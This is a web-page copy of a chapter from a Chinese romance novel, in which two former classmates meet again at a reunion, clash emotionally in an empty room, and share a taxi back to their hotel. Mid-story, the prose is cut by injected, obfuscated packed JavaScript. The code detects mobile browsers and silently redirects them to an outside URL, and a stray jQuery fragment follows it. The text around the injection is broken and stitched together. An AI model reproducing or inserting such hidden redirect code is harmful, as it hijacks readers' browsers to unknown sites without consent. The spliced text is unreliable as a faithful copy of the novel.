不知道从哪儿冒出来的小孩儿笑着闹着冲季凌希跑过来。
小孩儿转身回头没看路，季凌希下意识松开拽着何若楠的手去护着，他将仓皇跌入自己怀里的小孩儿扶住，又温柔叮嘱了句“小心”，这才将人交给后面紧追着的家长。
可就这么一瞬间，待转过头来，手里空落落的，眼前黑色挺拔的身影不见了，只看见缓缓关上的玻璃门里，决绝往前走的背影。
“何若楠！”季凌希心头一跳，忙不迭追了上去。
同学聚会的那个包厢越来越近，紧闭的大门里传来里头无法阻隔的嘈杂交谈声和碰杯声。
季凌希没来由地觉得，如果这次再不抓紧她的手，真的会错过一辈子。
他快步冲上前，拉住何若楠的手腕，低声轻呼，“别走，求你。”
旁边隔间空着，虚掩着的门轻轻一推就开了，季凌希拉着她的手心一横，拽进旁边的包厢。
何若楠当时只觉得被人拽了一下，眼前一暗，人就已经被带进了一个空房间中。
“季凌希，你干什么？放手啊！”何若楠挣扎着，手腕有些疼，心里也有些生气。
可她的力气哪里敌得过，推搡间，隔间的门被关上，她被抵在了包厢门上。
身前是喘着气的季凌希，他一只手紧紧抓着何若楠的手，按在门上，另一只手小心翼翼护在她的脑后。
他缓缓靠过来，额头抵着，没再进一步。
何若楠突然就想起了大学毕业时，在学校茂密的小树林里看到的小情侣，他们额头抵着额头，低声呢喃，亲密无间。
本来他们也会有那样美好的恋爱的。
两个人很久都没有说话，房间里光线有点暗，突如其来的昏暗和隔着窗帘透进来的一点点光让她只能看清眼前人的轮廓。
不用害怕被人发觉，她眷恋地盯着他的双唇看了好久。
温热的鼻息喷在脸颊上，何若楠感觉到握着自己的手松了松，下一瞬，腰后便被人支撑着，推向了那个温暖的怀抱。
那人声音颤抖，好像还带着哭腔，靠近时，胸膛里咚咚的心跳声一下下地震颤着。
“何若楠，别不要我。”
别不要我？何若楠有些想笑，这话明明应该自己来说的，“好像是你先不要我的吧？”
身后的手臂收得更紧了，好像要将她揉入自己的身体里，“我的错，我真的错了。我不会再离开了，求求你，别不要我。”
这么多年过去了，十四岁时喜欢的少年，也长大了。他们之间有那么多年缺失的共同回忆，可当何若楠靠近他时，还是不由自主地被他吸引。
熟悉的痱子粉香气混杂着雪水清澈甘冽的味道，让人忍不住想起他的车后座，想起初中班级的桌椅，想起那块枣泥酥，想起高考后夏日的那个拥抱。
可惜时间不能倒流，何若楠觉得再也找不回当初的那种纯粹。
脖颈间忽然有什么温热的液体滴下，何若楠一惊，推开季凌希。
眼睛适应了里头昏暗的光线，何若楠看到一滴泪水反射着微光从季凌希脸上划过。
她怔怔抬手，想要帮他拭去，等反应过来自己在干什么时，慌乱地转过身，语气已经平静下来，“你喝醉了。”
身后的声音破碎，“我没醉。何若楠，这些年我好想你。”
片刻的沉默，身后的人试着往前走了一步，双臂抬起想要将她拥入怀里，何若楠却似乎感受到了，不动声色远离了些。
她的手心放在包厢门把手上，毫不犹豫打开，“你醒醒酒，我先过去了。”
感情上，她应该和季凌希好好聊一聊，可理智告诉她，没什么好聊的。当年不管发生了什么，连个消息也没有，只能说明她对他来说，没那么重要。
如今能确定他还好好的，便够了，不该再陷进去，不该让自己再处在感情的被动地位。
何若楠理了理有些凌乱的发丝，脖颈间用手指一摸，湿漉漉的，是季凌希的眼泪。
包厢的门恰巧被人打开，康元搂着宋思宇从里面踉跄走出来。
“若楠，怎么这么久，我以为你喝多了，刚想去找你。”
康元勾肩搭背，喝多了说话有些大舌头，“我就说她没事的，你紧张什么？现在是法治社会，对不对啊宋律师。何若楠，你真有福气，宋律师，有能力，对你好。你俩！般配！”
何若楠有些无奈，又开始乱点鸳鸯谱了，都和他说清楚的只是朋友，“我……”
想了想自己和个喝醉的人较什么劲儿，于是朝宋思宇使了使眼色，把康元丢回了酒桌上。
季凌希很快也跟着进来了，两个人从头到尾再也没有语言和眼神的交流，仿佛只是碰巧前后脚出去，又前后脚回来。
宋思宇朝两人看了眼，叹了口气摇摇头。
这顿饭吃得索然无味，何若楠有些心累地应酬着，有点想先走了。
她见宋思宇被人拉着聊业务，犹豫了会儿觉得将他一个人丢在这人生地不熟的地方有点不讲义气，硬生生忍着直到聚会散场。
可人家根本就不需要她。
大家陆陆续续都离开了，宋思宇还在那儿聊得火热，何若楠悄悄凑过去，拽了拽他，小声说道:“宋思宇，时候不早了。”
意思是别聊了该走了。
可这人压根不领情，摆了摆手，“你先回宾馆，我还有正事儿要聊。”
旁边那人哈哈笑，揶揄道:“老宋，该是我影响你们正事儿了吧？再不回去若楠该生气了。”
“不会不会，和老王你的才叫正事儿。”
得，才认识几个小时，就已经“老王”、“老宋”地喊了。
宋思宇现在这模样，就好像一个从不把身边人当回事的渣男一样。何若楠悄悄翻了个白眼，露出一个人畜无害的微笑，“那你们聊，我先走了。”
渣男倒是好心了一秒，在剩下的人群里看了一圈，突然指了指季凌希，“麻烦你帮忙把她送到友谊旅馆，若楠今天喝了不少。多谢多谢。”
何若楠:“……”
这人故意的吧？
心里有鬼的人才觉得唐突，其他人觉得这个安排太合理了。何若楠和季凌希，当年本来就是好朋友，一个常年霸着年级第一的位置，一个一步步靠近他，直到爬到第二的位置。
“行行行，凌希你送一下若楠。我们先走了啊，下次再聚。”
“拜拜，下次再聚。”
同学们陆续都走了，酒店门口，愣愣地站着两个黑色的身影。
季凌希开口，“你们……住在友谊旅馆吗？我拦辆车送你。”
“不用了，我自己走回去。”何若楠边说边往前走。
“天气不好，下了雪路上打滑，打车吧。而且友谊旅馆……不近的。”<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16267717|182162||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>季凌希太清楚友谊旅馆了，就在一中附近。那次互相表露心意后，第二天他很早就到了旅馆楼下等着。
老板娘笑着认出了他，问他要不要上去屋里找女朋友。他其实是想的，可还是忍住了，在楼下狭窄的大厅等她等到了约定的十一点。
他还记得何若楠难得地睡过了头，打开门之穿着那条吊带睡裙，却防贼似地在外头披了件外套。
要不是后来何若楠将他推出浴室，关上了门洗漱，他不确定自己能不能控制得好。
身边的人想了想，点点头，“行，那打车吧。”
何若楠担心自己一路走回去，这人铁定要跟着一路。就像当年上学路上，她拒绝了季凌希载她去学校的提议，等来的不是他扬长而去，而是他不快不慢歪歪扭扭骑着车跟在身边。
季凌希很快就拦到了一辆出租车，他绅士地打开门，让何若楠先坐了进去，刚想上车，车门却被人从里面关上。
“何若楠！你让我上去！”
何若楠不理他，朝司机说道:“师傅，去友谊旅馆。”
后座的玻璃窗慢慢升起关上，季凌希压根顾不上，用手拼命拦着。
眼见着就要夹到手指了，玻璃窗停下了，里面传来何若楠大声的质问，“季凌希你疯了吗？你还要不要你的手了？”
司机以为他们是吵架的小情侣，转过头当着和事佬，“小姑娘你就让他上车吧。外面下着雪，又是过年，没什么车的。”
“男女朋友吵吵闹闹嘛都这么过来的。大过年的，算了算了。”
何若楠堵着一口气没顺上来，她偏过头不再说话，季凌希趁机打开门，坐了上来。
这人还不忘和司机道个谢，“谢谢师傅。”
出租车缓缓启动，里面温暖的空气隔绝了外头的寒冷。何若楠没好气地问:“你去哪儿，自己和师傅说。”
季凌希居然还有心情笑，何若楠没看他，只听到皮座椅窸窸窣窣地响，那人说道:“我还能去哪儿？当然也是友谊旅馆。”
何若楠一愣，想想也是。凌老师把房子卖了，季凌希回H县，和自己一样，没有家，就像是个外乡人。
何若楠“哦”了一声，接着听见季凌希继续说道:“这个你还留着啊。”
她一愣，转回脸发现季凌希盯着自己黑色毛衣前挂着的坠子出神。
何若楠紧了紧大衣的交领，将玉石遮住了些，语气假意漫不经心，“随便戴着玩儿的。”
一阵轻笑过后，两人便没再说话，车里只有电台里传来的音乐，和司机师傅跟着哼唱的声音。
玻璃窗上升起雾气，何若楠用手擦了擦，透过一点点清晰的缝隙，看着县城这几年的变化。
心里正感慨着，忽然右肩一沉，她惊讶转过头，只见季凌希闭着眼，靠在自己的肩膀上，呼吸均匀绵长。
何若楠抬手想推一推他，可见他似乎做着梦，眉头紧锁。上一秒不知道梦到了什么浑身颤了颤，下一秒便伸出双臂将何若楠的右手臂抱得紧紧的。
何若楠总觉得这人在装睡，有些生气，“季凌希，醒醒。”
没人回应。
她闭上眼深吸了一口气，试图将手臂从他的怀里抽出，却没想到，被抱得更紧了。
季凌希终于说话了，他有些眷恋地蹭了蹭何若楠的肩膀，闭着眼小声道:“别动，再让我靠会儿。我有些喝醉了。”